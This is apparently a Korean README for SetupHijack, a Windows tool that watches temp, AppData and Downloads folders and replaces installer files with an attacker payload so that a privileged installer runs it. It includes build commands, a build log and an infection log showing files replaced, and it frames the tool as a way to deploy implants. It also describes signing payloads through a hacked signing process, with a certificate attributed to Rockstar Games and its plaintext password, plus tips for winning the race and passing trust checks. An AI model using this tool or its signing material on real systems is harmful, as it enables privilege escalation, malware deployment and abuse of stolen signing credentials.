
SetupHijack은 Windows 응용 프로그램 설치 프로그램 및 업데이트 프로세스의 경쟁 조건과 안전하지 않은 파일 처리를 악용하는 보안 연구 도구입니다.
SetupHijack은 Windows 설치 프로그램 및 업데이트 프로세스에서 경쟁 조건과 안전하지 않은 파일 처리를 악용하는 보안 연구 도구입니다. 권한 있는 설치 프로그램 또는 업데이터가 %TEMP% 또는 다른 전역 쓰기 가능 위치에 파일을 드롭하면, 공격자가 이러한 파일을 상승된 권한으로 실행되기 전에 교체할 수 있는 시나리오를 대상으로 합니다.
.exe, .msi 및 배치 파일(예: sysinfo, netstat, ipconfig)을 감염시킬 수 있습니다.이 도구의 의도된 사용은 손상된 사용자 계정에서 백그라운드로 실행되어 설치 프로그램/업데이터 파일 드롭을 하이재킹하여 다른 프로세스를 상승시키는 것입니다.
아래 차트는 UAC 우회에 사용될 수 있는 여러 시나리오에서 이 취약점의 실제 사용 사례를 보여줍니다. UAC 우회는 Adminless 모드에서 실행될 때 보안 경계로 간주되며 보안 제어를 비활성화하기 위한 일반적인 "공격자 요구 사항"입니다. 권한 있는 관리자 작업을 악용하면 악성 코드가 측면 로드되거나 프로세스 권한을 상승시킬 수 있는 일반적인 취약점 접근성을 제공합니다. 이 도구는 동일한 유형의 위험에 노출된 추가 애플리케이션을 식별하는 데 사용될 수 있으며, 공격자는 사용자 행동을 방해하지 않고 상승된 권한을 얻기 위해 이러한 프로세스의 실행을 기다릴 수 있습니다.

%TEMP%(및 하위 디렉토리)에서 새롭거나 수정된 설치 프로그램 파일을 지속적으로 스캔합니다..bak 파일로 보존합니다.이 프로젝트는 페이로드 및 설치 프로그램에 서명하기 위해 SignToolEx.exe 및 SignToolExHook.dll을 사용하는 해킹된 코드 서명 프로세스를 사용합니다. 유효한 코드 서명 인증서와 Authenticode 타임스탬프를 사용하면 설치 프로그램 및 OS 신뢰 검사를 우회할 때 성공률이 높아집니다.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### 실행 (옵션)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata, -nodownloads 플래그로 특정 위치를 비활성화할 수 있습니다.clean 플래그는 활성화된 모든 위치의 백업을 복원합니다. verbose 플래그는 모든 작업을 기록합니다.shadow.exe 또는 유사한 도구와 함께 사용하세요.
%TEMP%에 파일을 드롭하고 높은 권한으로 실행하는 경우, 페이로드가 대체되어 실행됩니다.다음은 SetupHijack을 빌드하고 실행하는 실제 예제이며, 코드 서명 및 감염 결과를 포함합니다.``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0
C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>SetupHijack.exe
[2025-09-24 15:20:46] [SetupHijack] Using payload: C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 15:20:46] [SetupHijack] If infecting .msi, will use: install.msi
[2025-09-24 15:20:46] [SetupHijack] Polling enabled locations recursively for .exe, .msi, .bat:
[2025-09-24 15:20:46] - C:\Users\FANTAS1\AppData\Local\Temp
[2025-09-24 15:20:46] - C:\Users\Fantastic\AppData\Roaming
[2025-09-24 15:20:46] - C:\Users\Fantastic\Downloads
[2025-09-24 15:20:46] [SetupHijack] Entering infection loop.
[2025-09-24 15:20:59] [SetupHijack] Total infections this session: 0
[2025-09-24 15:21:13] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\installcmd.bat with payload install.bat, backup: C:\Users\FANTAS~1\AppData\Local\Temp\installcmd.bat.bak
[2025-09-24 15:21:13] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:22] [SetupHijack] Replaced C:\Users\Fantastic\Downloads\installcmd.msi with payload install.msi, backup: C:\Users\Fantastic\Downloads\installcmd.msi.bak
[2025-09-24 15:21:26] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:26] [SetupHijack] Total infections this session: 2
[2025-09-24 15:21:41] [SetupHijack] Replaced C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe.bak
[2025-09-24 15:21:41] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:53] [SetupHijack] Total infections this session: 3
## 임플란트 배포를 위한 사용 예시
아래는 SetupHijack이 동작 중인 모습을 보여주는 스크린샷으로, 권한 있는 설치 프로그램 실행 중에 임플란트를 배포합니다.

## 보안 참고사항
- 이 도구는 승인된 테스트 및 연구 목적으로만 사용해야 합니다.
- 이러한 취약점을 악용하면 사용자가 관리자 그룹에 속한 경우 완전한 SYSTEM 권한 탈취로 이어질 수 있습니다.
- 설치 프로그램은 해시/서명 검사를 사용하여 이 공격을 차단할 수 있지만, 여전히 많은 프로그램이 그렇지 않습니다.
- 항상 통제된 환경에서 사용하십시오.
- 이 도구로 CVE를 발견하거나 버그 바운티를 받으셨다면, 저희를 인정해 주세요!
한 번에 단일 디렉토리(예: `%TEMP%`)를 타겟팅하면 시간-생성/시간-사용(TOCTOU) 경쟁 조건에서 승리할 가능성을 높일 수 있습니다. 더 빠른 폴링과 적은 경합을 허용하기 때문입니다. 최대 신뢰성을 위해 각각 단일 디렉토리에 집중하는 여러 인스턴스의 SetupHijack을 실행하십시오. 최적의 결과를 위해, 페이로드(높은 권한으로 실행하려는 EXE)에는 상승 요청(requireAdministrator) 매니페스트가 포함되고 유효한 코드 서명 인증서( Authenticode 타임스탬프 포함)로 서명되어 있는지 확인하십시오. 이렇게 하면 설치 프로그램 및 OS의 신뢰 검사를 우회할 가능성이 높아집니다.
## 식별된 취약점